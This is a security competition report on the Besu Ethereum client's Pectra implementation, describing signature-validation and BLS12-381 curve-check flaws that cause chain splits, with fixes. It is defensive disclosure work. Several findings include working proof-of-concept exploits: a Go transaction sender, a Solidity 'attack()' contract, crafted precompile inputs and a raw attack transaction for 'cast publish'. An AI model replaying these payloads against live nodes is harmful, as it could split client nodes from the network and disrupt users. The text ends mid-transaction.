CANTINA

Ethereum Pectra: Besu

Competition

July 21, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
High	*Must* fix as soon as possible (if already deployed) and can be triggered by any user without significant constraints, generating outsized returns to the exploiter. For example: loss of user funds (significant amount of funds being stolen or lost) or breaking core functionality (failure in fundamental protocol operations).
Medium	Global losses <10% or losses to only a subset of users, requiring significant constraints (capital, planning, other users...) to be exploited. For example: temporary disruption or denial of service (DoS), minor fund loss or exposure or breaking non-core functionality
Low	Losses will be annoying but easily recoverable, requiring unusual scenarios or admin actions to be exploited.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above matrix. High severity findings represent the most critical issues that must be addressed immediately, as they either have high impact and high likelihood of occurrence, or medium impact with high likelihood.

Medium severity findings represent issues that, while not immediately critical, still pose significant risks and should be addressed promptly. These typically involve scenarios with medium impact and medium likelihood, or high impact with low likelihood.

Low severity findings represent issues that, while not posing immediate threats, could potentially cause problems in specific scenarios. These typically involve medium impact with low likelihood, or low impact with medium likelihood.

Lastly, some findings might represent improvements that don't directly impact security but could enhance the codebase's quality, readability, or efficiency (Gas and Informational findings).

2 Security Review Summary

Ethereum is a worldwide system, an open-source platform to write computer code that stores and automates digital databases using smart contracts, without relying upon a central intermediary, solving trust with cryptographic techniques.

From Feb 21st to Mar 27th Cantina hosted a competition based on the Ethereum Pectra upgrade. The present report focuses in the besu implementation. The participants identified a total of **9** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 0
- Medium Risk: 2
- Low Risk: 4
- Gas Optimizations: 0
- Informational: 3

3 Findings

3.1 Medium Risk

3.1.1 Besu accepts code delegations with `y_parity` having value 2 or 3, leading to chain split

Submitted by zigtur, also found by cergyk, alexfilippov314 and JCdaisuki

Severity: Medium Risk

Context: CodeDelegationSignature.java#L44-L59, CodeDelegation.java#L122-L129, MainnetTransactionValidator.java#L145-L185

Description: The besu execution client does not ensure that the `v` value (also known as `y_parity` in EIP-7702) is either 0 or 1 as expected. In the current codebase, it accepts `0, 1, 2, 3` as values.

Impact: A code delegation with `y_parity = 2` or 3 will be processed by Besu while other clients will deny it. Then, this can lead to chain fork. Besu represents 16% of clients, justifying a MEDIUM issue.

Code snippet:

```
@Override
public Optional<Address> authorizer() {
  // recId needs to be between 0 and 3, otherwise the signature is invalid
  // which means we can't recover the authorizer.
  if (signature.getRecId() < 0 || signature.getRecId() > 3) {
    return Optional.empty(); // @POC: accept values between 0 and 3
  }

  return authorizerSupplier.get(); // @POC: recover the authorizer
}
```

Also, note that the check is not executed in `processCodeDelegation`.

```
private void processCodeDelegation(
    final EVMWorldUpdater evmWorldUpdater,
    final CodeDelegation codeDelegation,
    final CodeDelegationResult result) {
  LOG.trace("Processing code delegation: {}", codeDelegation);

  if (maybeChainId.isPresent()
      && !codeDelegation.chainId().equals(BigInteger.ZERO)
      && !maybeChainId.get().equals(codeDelegation.chainId())) { // @POC: check chainID as expected in EIP
    LOG.trace(
        "Invalid chain id for code delegation. Expected: {}, Actual: {}",
        maybeChainId.get(),
        codeDelegation.chainId());
    return;
  }

  if (codeDelegation.nonce() == MAX_NONCE) { // @POC: check nonce as expected in EIP
    LOG.trace("Nonce of code delegation must be less than 2^64-1");
    return;
  }

  if (codeDelegation.signature().getS().compareTo(halfCurveOrder) > 0) { // @POC: s <= N/2
    LOG.trace(
        "Invalid signature for code delegation. S value must be less or equal than the half curve order.");
    return;
  }

  final Optional<Address> authorizer = codeDelegation.authorizer(); // @POC: compute authorizer, lacks a check
  ↪  for V in range [0; 1]
  if (authorizer.isEmpty()) {
    LOG.trace("Invalid signature for code delegation");
    return;
  }

  LOG.trace("Set code delegation for authority: {}", authorizer.get());

  final Optional<MutableAccount> maybeAuthorityAccount =
      Optional.ofNullable(evmWorldUpdater.getAccount(authorizer.get()));

  result.addAccessedDelegatorAddress(authorizer.get());
```

```
  MutableAccount authority;
  boolean authorityDoesAlreadyExist = false;
  if (maybeAuthorityAccount.isEmpty()) {
    // only create an account if nonce is valid
    if (codeDelegation.nonce() != 0) {
      return;
    }
    authority = evmWorldUpdater.createAccount(authorizer.get());
  } else {
    authority = maybeAuthorityAccount.get();

    if (!evmWorldUpdater.codeDelegationService().canSetCodeDelegation(authority)) {
      return;
    }

    authorityDoesAlreadyExist = true;
  }

  if (codeDelegation.nonce() != authority.getNonce()) {
    LOG.trace(
        "Invalid nonce for code delegation. Expected: {}, Actual: {}",
        authority.getNonce(),
        codeDelegation.nonce());
    return;
  }

  if (authorityDoesAlreadyExist) {
    result.incrementAlreadyExistingDelegators();
  }

  evmWorldUpdater
      .codeDelegationService()
      .processCodeDelegation(authority, codeDelegation.address());
  authority.incrementNonce();
}
```

For comparison, go-ethereum will deny `v == 2` and `v == 3` in the `ValidateSignatureValues` function.

```
// ValidateSignatureValues verifies whether the signature values are valid with
// the given chain rules. The v value is assumed to be either 0 or 1.
func ValidateSignatureValues(v byte, r, s *big.Int, homestead bool) bool {
    if r.Cmp(common.Big1) < 0 || s.Cmp(common.Big1) < 0 {
        return false
    }
    // reject upper range of s values (ECDSA malleability)
    // see discussion in secp256k1/libsecp256k1/include/secp256k1.h
    if homestead && s.Cmp(secp256k1halfN) > 0 {
        return false
    }
    // Frontier: allow s to be in full N range
    return r.Cmp(secp256k1N) < 0 && s.Cmp(secp256k1N) < 0 && (v == 0 || v == 1)
}
```

Proof of Concept:

- Initial setup: Start a localnet with besu and geth. This can be done with kurtosis.
- Monitoring: To monitor the two nodes block hash, you can use the following python script:

```
python3 -m venv localenv
source localenv/bin/activate
pip3 install web3
```

```
from web3 import Web3
import time
import logging

# Configure logging
logging.basicConfig(
    level=logging.INFO,  # Set logging level
    format="%(asctime)s - %(levelname)s - %(message)s",  # Log format
    handlers=[
        logging.FileHandler("block_monitor.log"),  # Save logs to a file
        logging.StreamHandler()  # Print logs to the console (CLI)
    ]
```

```
)

# Ethereum node RPC URLs (Replace these with actual node URLs)
NODE_URLS = [
    "http://127.0.0.1:57764",
    "http://127.0.0.1:57774"
]

# Connect to nodes
web3_nodes = [Web3(Web3.HTTPProvider(url)) for url in NODE_URLS]

# Function to get the latest block hash from a node
def get_latest_block_hash(w3):
    try:
        latest_block = w3.eth.get_block('latest')
        return latest_block['hash'].hex()
    except Exception as e:
        logging.error(f"Error fetching block from node {w3.provider.endpoint_uri}: {e}")
        return None

def monitor_blocks():
    last_checked_block = None
    while True:
        try:
            block_hashes = {}

            # Fetch latest block number from the first node
            latest_block_number = web3_nodes[0].eth.block_number
            if latest_block_number == last_checked_block:
                time.sleep(3)  # Wait before checking again
                continue

            # Fetch block hashes from all nodes
            for i, w3 in enumerate(web3_nodes):
                block_hash = get_latest_block_hash(w3)
                if block_hash:
                    block_hashes[f"Node {i+1}"] = block_hash

            # Compare block hashes
            unique_hashes = set(block_hashes.values())
            if len(unique_hashes) > 1:
                logging.warning(f"Block hash mismatch detected at block {latest_block_number}:
                ↪  {block_hashes}")
            else:
                logging.info(f"Block {latest_block_number} verified successfully")

            last_checked_block = latest_block_number
        except Exception as e:
            logging.error(f"Unexpected error in monitoring loop: {e}")

        time.sleep(3)  # Check every 3 seconds

if __name__ == "__main__":
    logging.info("Ethereum Block Monitoring Started...")
    monitor_blocks()
```

- Execution: Create a folder `go-ethereum/script`, then go in script and import the code in `script.go`. Finally, execute `go run script.go`.

```
package main

import (
  "context"
  "crypto/ecdsa"
  "encoding/hex"
  "fmt"
  "log"

  "github.com/ethereum/go-ethereum/common"
  "github.com/ethereum/go-ethereum/core/types"
  "github.com/ethereum/go-ethereum/crypto"
  "github.com/ethereum/go-ethereum/ethclient"
  "github.com/holiman/uint256"
)

func main() {
```

```
// Load environment variables
rpcURL := "http://127.0.0.1:51172"
privateKeyHex := "bcdf20249abf0ed6d944c0288fad489e33f66b3960d9e6229c1cd214ed3bbe31"
toAddressHex := "0x8F0342A7060e76dfc7F6e9dEbfAD9b9eC919952c"

// Connect to Ethereum client
client, err := ethclient.Dial(rpcURL)
if err != nil {
  log.Fatalf("Failed to connect to the Ethereum client: %v", err)
}
defer client.Close()

// Load the private key
privateKeyBytes, err := hex.DecodeString(privateKeyHex)
if err != nil {
  log.Fatalf("Invalid private key: %v", err)
}

privateKey, err := crypto.ToECDSA(privateKeyBytes)
if err != nil {
  log.Fatalf("Failed to parse private key: %v", err)
}

publicKey := privateKey.Public()
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
if !ok {
  log.Fatal("Failed to assert public key type")
}

fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
nonce, err := client.PendingNonceAt(context.Background(), fromAddress)
if err != nil {
  log.Fatalf("Failed to get nonce: %v", err)
}
log.Printf("Nonce: %d\n", nonce)
data := common.FromHex("f8a8fd6d")

gasTipCap := uint256.NewInt(1000000000)  // 1 Gwei
gasFeeCap := uint256.NewInt(20000000000) // 20 Gwei
value := uint256.NewInt(0)               // 1 Ether
toAddress := common.HexToAddress(toAddressHex)
chainId := uint64(3151908)

// @POC: generate invalid signature (V is not in range)
s, err := uint256.FromHex("0x504F7A39DF20047B60F2D49987DC1C50C9DC4A5A67C981E234248EA2AA1A97F4")
if err != nil {
  fmt.Println("s - Error converting hex to uint256:", err)
  return
}
r, err := uint256.FromHex("0x2")
if err != nil {
  fmt.Println("Error converting hex to uint256:", err)
  return
}
signedAuth := types.SetCodeAuthorization{
  ChainID: *uint256.NewInt(3151908),
  Address: common.HexToAddress("0x0000000000000000000000000000000000001234"),
  Nonce:   0,
  V:       2,
  R:       *r,
  S:       *s,
}
// @POC: recovered address will be 0xC60859a1B67DFb51AB7aA3C004D754Cbba8240d6

tx := &types.SetCodeTx{
  ChainID:    uint256.NewInt(chainId),
  Nonce:      nonce,
  GasTipCap:  gasTipCap,
  GasFeeCap:  gasFeeCap,
  Gas:        2000000,
  To:         toAddress,
  Value:      value,
  Data:       data,
  AccessList: types.AccessList{},
  AuthList:   []types.SetCodeAuthorization{signedAuth},
  V:          nil,
```

```
    R:          nil,
    S:          nil,
  }
  // Sign the transaction
  chainID, err := client.NetworkID(context.Background())
  if err != nil {
    log.Fatalf("Failed to get network ID: %v", err)
  }
  preTx := types.NewTx(tx)
  signedTx, err := types.SignTx(preTx, types.NewPragueSigner(chainID), privateKey)
  if err != nil {
    log.Fatalf("Failed to sign transaction: %v", err)
  }

  // Send the transaction
  err = client.SendTransaction(context.Background(), signedTx)
  if err != nil {
    log.Fatalf("Failed to send transaction: %v", err)
  }

  fmt.Printf("Transaction sent: %s\n", signedTx.Hash().Hex())
}
```

- Results:

```
2025-03-05 11:11:13,885 - INFO - Block 43 verified successfully
2025-03-05 11:11:25,953 - INFO - Block 44 verified successfully
2025-03-05 11:11:38,013 - INFO - Block 45 verified successfully
2025-03-05 11:11:50,060 - INFO - Block 46 verified successfully
2025-03-05 11:12:02,102 - INFO - Block 47 verified successfully
2025-03-05 11:12:14,162 - INFO - Block 48 verified successfully
2025-03-05 11:12:26,233 - WARNING - Block hash mismatch detected at block 49: {'Node 1':
↪  '8b8cecc852581a8ca1229f30784309ed9a563f57d912fc5a31e9491cc26904c9', 'Node 2':
↪  '414b769a0e7b1cd646aa0f34e29555a10fe3afba0d53ba200e1e91029607da05'}
2025-03-05 11:12:38,307 - WARNING - Block hash mismatch detected at block 50: {'Node 1':
↪  '785a895b6efbb9dee52ee96c35564bbedd58ab99c5244f23c9f43fe208de341e', 'Node 2':
↪  '414b769a0e7b1cd646aa0f34e29555a10fe3afba0d53ba200e1e91029607da05'}
2025-03-05 11:13:14,548 - WARNING - Block hash mismatch detected at block 51: {'Node 1':
↪  '38bb2cbf8e36906aecfcaad7a8078cac92c128b9c9ce7f5f03203ecda12f71d8', 'Node 2':
↪  '0751285194fe40a54be108143a77b709820b13995e1e3df8574ef00242eb5963'}
```

The TRACE logs from besu show the following:

```
2025-03-05 10:12:24.047+00:00 | EthScheduler-BlockCreation-5 | TRACE | CodeDelegationProcessor |
↪  Processing code delegation: CodeDelegation{chainId=3151908,
↪  address=0x0000000000000000000000000000000000001234, nonce=0, signature=Signature{r=2,
↪  s=36325452378047884189031233113332351545143045923207285455348187067789579294708, recId=2},
↪  authorizerSupplier=Suppliers.memoize(org.hyperledger.besu.ethereum.core.CodeDelegation$$Lambda/0x00
↪  0000010176800@251173d3)}
2025-03-05 10:12:24.047+00:00 | EthScheduler-BlockCreation-5 | TRACE | CodeDelegationProcessor | Set
↪  code delegation for authority: 0xc60859a1b67dfb51ab7aa3c004d754cbba8240d6
```

We can see that the delegation is executed even if `recId = 2`. This is discarded by go-ethereum.

Kurtosis YAML file: This YAML file used with kurtosis and the ethereum-package will create a localnet with 2 nodes: 1 geth and 1 besu. Pectra activates at block 32 (epoch 1):

```
participants:
**EL:**

- el_type: besu
    el_image: hyperledger/besu:develop-arm64
    el_log_level: "TRACE"
    el_extra_env_vars: {}
    el_extra_labels: {}
    el_extra_params: []
    el_tolerations: []
    el_volume_size: 0
    el_min_cpu: 0
    el_max_cpu: 0
    el_min_mem: 0
    el_max_mem: 0
    # CL
    cl_type: lighthouse
```

```
    cl_image: sigp/lighthouse:latest-unstable
    cl_log_level: ""
    cl_extra_env_vars: {}
    cl_extra_labels: {}
    cl_extra_params: []
    cl_tolerations: []
    cl_volume_size: 0
    cl_min_cpu: 0
    cl_max_cpu: 0
    cl_min_mem: 0
    cl_max_mem: 0
    supernode: false
    use_separate_vc: true
    # Validator
    vc_type: lighthouse
    vc_image: sigp/lighthouse:latest-unstable
    vc_log_level: ""
    vc_extra_env_vars: {}
    vc_extra_labels: {}
    vc_extra_params: []
    vc_tolerations: []
    vc_min_cpu: 0
    vc_max_cpu: 0
    vc_min_mem: 0
    vc_max_mem: 0
    validator_count: null
    use_remote_signer: false
    # Remote signer
    remote_signer_type: web3signer
    remote_signer_image: consensys/web3signer:latest
    remote_signer_extra_env_vars: {}
    remote_signer_extra_labels: {}
    remote_signer_extra_params: []
    remote_signer_tolerations: []
    remote_signer_min_cpu: 0
    remote_signer_max_cpu: 0
    remote_signer_min_mem: 0
    remote_signer_max_mem: 0
    # Participant specific
    node_selectors: {}
    tolerations: []
    count: 1
    snooper_enabled: false
    ethereum_metrics_exporter_enabled: false
    xatu_sentry_enabled: false
    prometheus_config:
      scrape_interval: 15s
      labels: {}
    blobber_enabled: false
    blobber_extra_params: []
    builder_network_params: null
    keymanager_enabled: false

  # SECOND config
  - el_type: geth
    el_image: local/geth:pectra-zigtur
    el_log_level: "DEBUG"
    el_extra_env_vars: {}
    el_extra_labels: {}
    el_extra_params: []
    el_tolerations: []
    el_volume_size: 0
    el_min_cpu: 0
    el_max_cpu: 0
    el_min_mem: 0
    el_max_mem: 0
    # CL
    cl_type: lighthouse
    cl_image: sigp/lighthouse:latest-unstable
    cl_log_level: ""
    cl_extra_env_vars: {}
    cl_extra_labels: {}
    cl_extra_params: []
    cl_tolerations: []
    cl_volume_size: 0
    cl_min_cpu: 0
```

```
    cl_max_cpu: 0
    cl_min_mem: 0
    cl_max_mem: 0
    supernode: false
    use_separate_vc: true
    # Validator
    vc_type: lighthouse
    vc_image: sigp/lighthouse:latest-unstable
    vc_log_level: ""
    vc_extra_env_vars: {}
    vc_extra_labels: {}
    vc_extra_params: []
    vc_tolerations: []
    vc_min_cpu: 0
    vc_max_cpu: 0
    vc_min_mem: 0
    vc_max_mem: 0
    validator_count: null
    use_remote_signer: false
    # Remote signer
    remote_signer_type: web3signer
    remote_signer_image: consensys/web3signer:latest
    remote_signer_extra_env_vars: {}
    remote_signer_extra_labels: {}
    remote_signer_extra_params: []
    remote_signer_tolerations: []
    remote_signer_min_cpu: 0
    remote_signer_max_cpu: 0
    remote_signer_min_mem: 0
    remote_signer_max_mem: 0
    # Participant specific
    node_selectors: {}
    tolerations: []
    count: 1
    snooper_enabled: false
    ethereum_metrics_exporter_enabled: false
    xatu_sentry_enabled: false
    prometheus_config:
      scrape_interval: 15s
      labels: {}
    blobber_enabled: false
    blobber_extra_params: []
    builder_network_params: null
    keymanager_enabled: false
network_params:
  network: kurtosis
  network_id: "3151908"
  deposit_contract_address: "0x4242424242424242424242424242424242424242"
  seconds_per_slot: 12
  num_validator_keys_per_node: 64
  preregistered_validator_keys_mnemonic:
    "giant issue aisle success illegal bike spike
    question tent bar rely arctic volcano long crawl hungry vocal artwork sniff fantasy
    very lucky have athlete"
  preregistered_validator_count: 0
  genesis_delay: 20
  genesis_gaslimit: 30000000
  max_per_epoch_activation_churn_limit: 8
  churn_limit_quotient: 65536
  ejection_balance: 16000000000
  eth1_follow_distance: 2048
  min_validator_withdrawability_delay: 256
  shard_committee_period: 256
  deneb_fork_epoch: 0
  electra_fork_epoch: 1
  fulu_fork_epoch: 2000000000
  network_sync_base_url: https://snapshots.ethpandaops.io/
  data_column_sidecar_subnet_count: 128
  samples_per_slot: 8
  custody_requirement: 4
  max_blobs_per_block_electra: 9
  target_blobs_per_block_electra: 6
  max_blobs_per_block_fulu: 12
  target_blobs_per_block_fulu: 9
  additional_preloaded_contracts: {}
  devnet_repo: ethpandaops
```

```
  prefunded_accounts: {}
additional_services: []
dora_params:
  image: ""
tx_spammer_params:
  tx_spammer_extra_args: []
spamoor_blob_params:
  spamoor_extra_args: []
prometheus_params:
  storage_tsdb_retention_time: "1d"
  storage_tsdb_retention_size: "512MB"
  min_cpu: 10
  max_cpu: 1000
  min_mem: 128
  max_mem: 2048
grafana_params:
  additional_dashboards: []
  min_cpu: 10
  max_cpu: 1000
  min_mem: 128
  max_mem: 2048
assertoor_params:
  image: ""
  run_stability_check: false
  run_block_proposal_check: false
  run_transaction_test: false
  run_blob_transaction_test: false
  run_opcodes_transaction_test: false
  run_lifecycle_test: false
  tests: []
wait_for_finalization: false
global_log_level: info
snooper_enabled: false
ethereum_metrics_exporter_enabled: false
parallel_keystore_generation: false
disable_peer_scoring: false
persistent: false
mev_type: null
mev_params:
  mev_relay_image: ethpandaops/mev-boost-relay:main
  mev_builder_image: ethpandaops/flashbots-builder:main
  mev_builder_cl_image: sigp/lighthouse:latest
  mev_boost_image: ethpandaops/mev-boost:develop
  mev_boost_args: ["mev-boost", "--relay-check"]
  mev_relay_api_extra_args: []
  mev_relay_housekeeper_extra_args: []
  mev_relay_website_extra_args: []
  mev_builder_extra_args: []
  mev_builder_prometheus_config:
    scrape_interval: 15s
    labels: {}
  mev_flood_image: flashbots/mev-flood
  mev_flood_extra_args: []
  mev_flood_seconds_per_bundle: 15
  custom_flood_params:
    interval_between_transactions: 1
xatu_sentry_enabled: false
xatu_sentry_params:
  xatu_sentry_image: ethpandaops/xatu-sentry
  xatu_server_addr: localhost:8000
  xatu_server_tls: false
  xatu_server_headers: {}
  beacon_subscriptions:
    - attestation
    - block
    - chain_reorg
    - finalized_checkpoint
    - head
    - voluntary_exit
    - contribution_and_proof
    - blob_sidecar
apache_port: 40000
global_tolerations: []
global_node_selectors: {}
keymanager_enabled: false
checkpoint_sync_enabled: false
```

```
checkpoint_sync_url: ""
ethereum_genesis_generator_params:
  image: ethpandaops/ethereum-genesis-generator:3.7.0
port_publisher:
  nat_exit_ip: KURTOSIS_IP_ADDR_PLACEHOLDER
  el:
    enabled: false
    public_port_start: 32000
  cl:
    enabled: false
    public_port_start: 33000
  vc:
    enabled: false
    public_port_start: 34000
  remote_signer:
    enabled: false
    public_port_start: 35000
  additional_services:
    enabled: false
    public_port_start: 36000
```

Recommendation: Besu must ensure that the recover ID (`y_parity` is either 0 or 1).

```
@@ -123,7 +123,7 @@ public class CodeDelegation implements org.hyperledger.besu.datatypes.CodeDelega
   public Optional<Address> authorizer() {
     // recId needs to be between 0 and 3, otherwise the signature is invalid
     // which means we can't recover the authorizer.
-    if (signature.getRecId() < 0 || signature.getRecId() > 3) {
+    if (signature.getRecId() < 0 || signature.getRecId() > 1) {
       return Optional.empty();
     }
```

3.1.2 `Besu` doesn't verify whether `G1` points lie on the curve in the `G1MSM` and `PAIRING_CHECK` precompiles

Submitted by alexfilippov314

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: `EIP-2537` states that input points in the `G1MSM`, `G2MSM`, and `PAIRING_CHECK` precompiles must be in the correct subgroup. The `gnark-crypto` library, which `Besu` uses under the hood, verifies this using the endomorphism test described in the EIP:

> The G1 case
> Before accepting a point P as input that purports to be a member of G1 subject the input to the following endomorphism test: phi(P) + x^2*P = 0
> The G2 case
> Before accepting a point P as input that purports to be a member of G2 subject the input to the following endomorphism test: psi(P) + x*P = 0

The issue arises because `Besu` doesn't perform an on-curve check for `G1` points if the subgroup check passes. This can be seen in the following code snippet:

```
func g1AffineDecodeInSubGroupVal(g1 *bls12381.G1Affine, input []byte) (*bls12381.G1Affine, error) {
    if hasWrongG1Padding(input) {
        return nil, ErrMalformedPointPadding
    }
    err := g1.X.SetBytesCanonical(input[16:64])
    if err != nil {
        return nil, err
    }
    err = g1.Y.SetBytesCanonical(input[80:128])
    if err != nil {
        return nil, err
    }

    // do explicit subgroup check
    if (!g1.IsInSubGroup()) {
        if (!g1.IsOnCurve()) {
            return nil, ErrPointOnCurveCheckFailed
        }
        return nil, ErrSubgroupCheckFailed
    }
    return g1, nil;
}
```

This approach is flawed because passing the endomorphism test does not guarantee that the input is a valid point on the curve. As a result, `Besu` will accept inputs that other clients reject, producing results in these precompiles that will cause all `Besu` nodes to split from the rest of the network.

Proof of Concept: This proof of concept demonstrates the issue with the `G1MSM` precompile, but it can also be reproduced with `PAIRING_CHECK` precompile. To illustrate the issue, I found a point on a different curve that still passes the endomorphism test (`g1.IsInSubGroup`).

```
Elliptic Curve defined by y^2 = x^3 + 24 over Finite Field of size 4002409555221667393417789825735904156556882
↪ 819939007885332058136124031650490837864442687629129015664037894272559787

(156331181587308122028599367534214124531097422029781877203015471246650576231716911816252818977772900813220395
↪ 344556 :
↪ 323667410089091546073890411884916330797713763418603015984676335873616488612998011179584699337608027044457
↪ 334963907 : 1)
```

With this, we can craft an input for the `G1MSM` precompile that causes a chain split. In this case, it is simply the scalar multiplication of this point by zero.

```
0000000000000000000000000000000a2833e497b38ee3ca5c62828bf4887a9f940c9e426c7890a759c20f248c23a7210d2432f4c98a
↪ 514e524b5184a0ddac0000000000000000000000000000000000150772d56bf9509469f9ebcd6e47570429fd31b0e262b66d512e245c
↪ 38ec37255529f2271fd70066473e393a8bead0c3000000000000000000000000000000000000000000000000000000000000000
```

I have verified that sending `attack()` transaction with this contract causes a chain split:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract POC {
    address immutable msm = address(0x0c);
    bytes32 s;

    function attack() public {
        bytes memory data = hex'0000000000000000000000000000000a2833e497b38ee3ca5c62828bf4887a9f940c9e426c78
        ↪  90a759c20f248c23a7210d2432f4c98a514e524b5184a0ddac0000000000000000000000000000000000150772d56bf95094
        ↪  69f9ebcd6e47570429fd31b0e262b66d512e245c38ec37255529f2271fd70066473e393a8bead0c3000000000000000000
        ↪  0000000000000000000000000000000000000000000000';
        (bool success, bytes memory result) = msm.call(data);
        s = keccak256(result);
    }
}
```

However, the issue can be reproduced by simply calling the precompile with different RPCs:

```
cast call 0x000000000000000000000000000000000000000c --data "0000000000000000000000000000000a2833e497b38ee3c
↪ a5c62828bf4887a9f940c9e426c7890a759c20f248c23a7210d2432f4c98a514e524b5184a0ddac0000000000000000000000000000
↪ 00000150772d56bf9509469f9ebcd6e47570429fd31b0e262b66d512e245c38ec37255529f2271fd70066473e393a8bead0c300000
↪ 0000000000000000000000000000000000000000000000000000000000000000" --rpc-url 127.0.0.1:32838
```

`Besu` returns a point at infinity, while all other clients return an error.

Recommendation: Consider verifying that `G1` points are on the curve before checking that they are in the correct subgroup similarly to how it is implemented in the `g2AffineDecodeInSubGroupVal`.

3.2 Low Risk

3.2.1 R not checked to be lower than N in non-native mode for code delegation signatures

Submitted by cergyk, also found by alexfilippov314

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: When decoding `SetCodeTx` transactions, `CodeDelegationSignature` are not decoded in the same way as regular signatures (use of a custom function `createCodeDelegationSignature`). This function does not check that r provided is within $]0, N[$ where N is the curve order.

- crypto/AbstractSECP256.java#L215-L219:

```
@Override
public CodeDelegationSignature createCodeDelegationSignature(
    final BigInteger r, final BigInteger s, final byte yParity) {
  return CodeDelegationSignature.create(r, s, yParity);
}
```

The signature recovery would fail when native libraries are used because they expect r to be in compact form, but in non-native path r will be accepted to be in $]N, P[$. This does not meet specification requirements which specify that `ecrecover` should be used to recover authorizer, and `ecrecover` expects r in $]0, N[$ per its spec.

Concrete attack path: Please note that it is extremely unlikely to generate a signature by using a private key which has `r > N` (less than 1 in `1**128` at random), but also very easy to generate a signature which has `r > N` for a valid `CodeDelegation` tuple hash, which will recover to a public key for which the private key is not known. If such a signature is provided to a Besu node running in non-native mode, it would be accepted and a chain-split would be caused.

Recommendation: Check that `R` falls in $]0, N[$ in the java algorithm as well.

Proof of Concept: Add the following test to `CodeDelegationTest.java` with the small change of declaring variable `SIGNATURE_ALGORITHM` public in `CodeDelegation`:

```
@Test
void shouldReturnAuthorizerWhenSignatureIsValid() {
  @SuppressWarnings("unused")
  var S = new BigInteger(1, Hex.decodeStrict("01"));

  var N = CodeDelegation.SIGNATURE_ALGORITHM.get().getCurve().getN();

  // @audit add N the curve order, so that R now lies outside ]0; N[ which is not
  // ok as per spec of ecrecover
  var R = new BigInteger(1, Hex.decodeStrict("02")).add(N);

  // @audit comment disableNative to make the test fail again, showing that it is
  // specific to non-native implementation
  CodeDelegation.SIGNATURE_ALGORITHM.get().disableNative();

  CodeDelegationSignature _signature = CodeDelegationSignature.create(R, S, (byte) 1);
  CodeDelegation delegation = new CodeDelegation(chainId, address, nonce, _signature);

  Optional<Address> authorizer = delegation.authorizer();

  assertThat(authorizer).isNotEmpty();
}
```

3.2.2 Besu does not verify that the s value in EIP-7702 authorization is not equal to zero

Submitted by alexfilippov314

Severity: Low Risk

Context: CodeDelegationSignature.java#L44-L61

Description: EIP-7702 authorization signatures should be verified similarly to standard transaction signatures. This includes ensuring that the `s` component of the signature is not zero. Additionally, the s value must be less than the curve order, but this is already enforced by the `s <= halfN` check. `Besu` explicitly verifies the `s` value for transaction signatures, as shown in the following code snippet:

```
public static SECPSignature create(
  final BigInteger r, final BigInteger s, final byte recId, final BigInteger curveOrder) {
  checkNotNull(r);
  checkNotNull(s);
  checkInBounds("r", r, curveOrder);
  checkInBounds("s", s, curveOrder);
  if (recId != 0 && recId != 1) {
    throw new IllegalArgumentException(
        "Invalid 'recId' value, should be 0 or 1 but got " + recId);
  }
  return new SECPSignature(r, s, recId);
}
```

Additionally, `Besu` indirectly ensures that the `s` value is not zero when using the native `secp256k1` implementation. This check occurs in SECP256K1.java#L239-L243:

```
if (LibSecp256k1.secp256k1_ecdsa_recover(
    LibSecp256k1.CONTEXT, newPubKey, parsedSignature, dataHash.toArrayUnsafe())
    == 0) {
  return Optional.empty();
}
```

However, the issue arises because `Besu` does not verify the correctness of the `s` value when using the Java implementation of `secp256k1`. It is worth noting that the native implementation is used by default, so this issue affects only some part of `Besu` users.

The absence of this check allows a malicious user to submit an authorization signature with an `s` value equal to zero. This would result in `Besu` nodes using the Java implementation of `secp256k1` splitting from the rest of the network.

Proof of Concept:

1. Install Kurtosis.
2. Create `network_params.yaml` with the following content. I've used this image for besu (it was latest at the time of testing):

```
participants:
  - el_type: geth
    cl_type: prysm
    count: 1
  - el_type: nethermind
    cl_type: prysm
    count: 1
  - el_type: besu
    el_extra_params: ["--Xsecp256k1-native-enabled", "false"]
    cl_type: prysm
    count: 1

network_params:
  network_id: "585858"
  electra_fork_epoch: 1
  genesis_gaslimit: 30000000
```

3. Create `Makefile` with the following content:

```
build-geth: ## build geth
  cd /home/allfi/src/audits/cantina/pectra/execution/go-ethereum && docker build -t local-ef-geth:latest .

start-e2e: ## start the e2e
  kurtosis run github.com/ethpandaops/ethereum-package --args-file ./network_params.yaml --image-download
  ↪  always --enclave e2e

kill-e2e: ## stop e2e tests
  kurtosis enclave stop e2e
  kurtosis enclave rm e2e

## Phony targets
.PHONY: build-geth start-e2e kill-e2e
```

4. Run the network:

```
make start-e2e
```

5. Wait for block 33 to ensure that Pectra is active.
6. Send the attack transaction.

```
cast publish 04f8ab8308f08280318477359400830300d4094000000000000000000000000000000000000000008080c0f83ff83d8308f
↪  082946f786d58d9d378f80efbaf3a49ef1be38542f3598001a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
↪  effffc2c0101a01f6965e348ed2bb39d21c53a822dfc8317cb0a560c6615c3d1befd171adfa9dca0354ca58167b5a9051cbed93b5
↪  bede55fa596d6aa669b3ea970458790fba07a41 --rpc-url 127.0.0.1:33044
```

The decoded version of this transaction is as follows:


```
{
  "type": "0x4",
  "chainId": "0x8f082",
  "nonce": "0x0",
  "gas": "0x30d40",
  "maxFeePerGas": "0x77359400",
  "maxPriorityFeePerGas": "0x31",
  "to": "0x0000000000000000000000000000000000000000",
  "value": "0x0",
  "accessList": [],
  "authorizationList": [
    {
      "chainId": "0x8f082",
      "address": "0x6f786d58d9d378f80efbaf3a49ef1be38542f359",
      "nonce": "0x0",
      "yParity": "0x1",
